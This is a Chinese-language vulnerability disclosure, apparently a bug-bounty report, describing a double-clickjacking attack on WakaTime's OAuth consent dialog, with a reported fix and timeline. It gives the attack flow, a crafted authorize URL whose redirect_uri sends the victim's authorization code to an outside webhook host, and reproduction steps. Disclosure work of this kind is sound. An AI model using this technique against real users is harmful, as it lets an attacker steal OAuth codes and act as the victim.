WakaTime OAuth双重点击劫持攻击漏洞分析
漏洞概述
攻击者可通过双重点击劫持(Double Clickjacking)攻击诱骗用户在WakaTime应用授权对话框中无意点击“连接我的WakaTime账户”按钮。这使得攻击者能够注册恶意OAuth应用、托管钓鱼页面,并让受害者意外点击授权按钮。
攻击者可随后捕获授权码并将其交换为访问令牌,从而以受害者身份执行操作。此攻击类似于传统点击劫持,但X-Frame-Options等传统防护措施无法阻止。影响范围为攻击者应用获得已定义权限的完全访问权。
攻击流程
- 攻击者创建初始网页,包含打开新窗口的按钮(或无用户交互直接打开新窗口),例如https://attacker.com
- 当前标签页重定向至WakaTime OAuth授权URL,例如:
https://wakatime.com/oauth/authorize?client_id=joUNHCTnWqQ9hsmrWS5CTokR&response_type=code&redirect_uri=https://webhook.site/15495620-7c98-4643-a6df-9e7864c0dead&scope=read_orgs,write_orgs - 同时新标签页打开https://attacker.com/attack,其中“双击”按钮与“连接我的WakaTime账户”按钮对齐
- 首次点击关闭/attack标签页,第二次点击触发“授权”按钮
- URL重定向至https://webhook.site/15495620-7c98-4643-a6df-9e7864c0dead?code=CODE,攻击者可存储代码并交换为访问令牌
复现步骤
- 从附件下载源代码:250805_wakatime_double_clickjacking.zip (F4647674)
- 在https://wakatime.com/apps/new创建新WakaTime应用
- 在index.html的const url=…中替换为您的client ID和redirect_uri
- 使用python main.py运行flask应用
- 模拟受害者账户进行攻击测试
注意事项
- 受害者需已登录WakaTime
- 双击按钮可能未完美对齐,但可通过调整attack.html中的按钮位置实现
- 测试环境:Firefox Browser 140.0.2 (64-bit), Windows
修复建议
通过默认禁用关键按钮来消除双重点击劫持风险,除非检测到用户手势(如移动鼠标或使用键盘)。
影响范围
此漏洞允许攻击者诱骗已登录的WakaTime用户在不知情的情况下授权攻击者创建的第三方应用,攻击者可获取访问令牌并从WakaTime API获取资源(取决于权限范围)。攻击者可获得的最大权限为所有范围,详见https://wakatime.com/developers。
参考资料
- https://jorianwoltjer.com/blog/p/hacking/pressing-buttons-with-popups
- https://www.evil.blog/2024/12/doubleclickjacking-what.html
- https://www.evil.blog/2024/02/cross-window-forgery-web-attack-vector.html?m=1
时间线
- 报告时间:2025年8月5日 14:08 UTC
- 修复时间:2025年8月5日 23:25 UTC
- 严重等级:中(4-6.9)
- 弱点类型:安全设计原则违反
- 赏金:无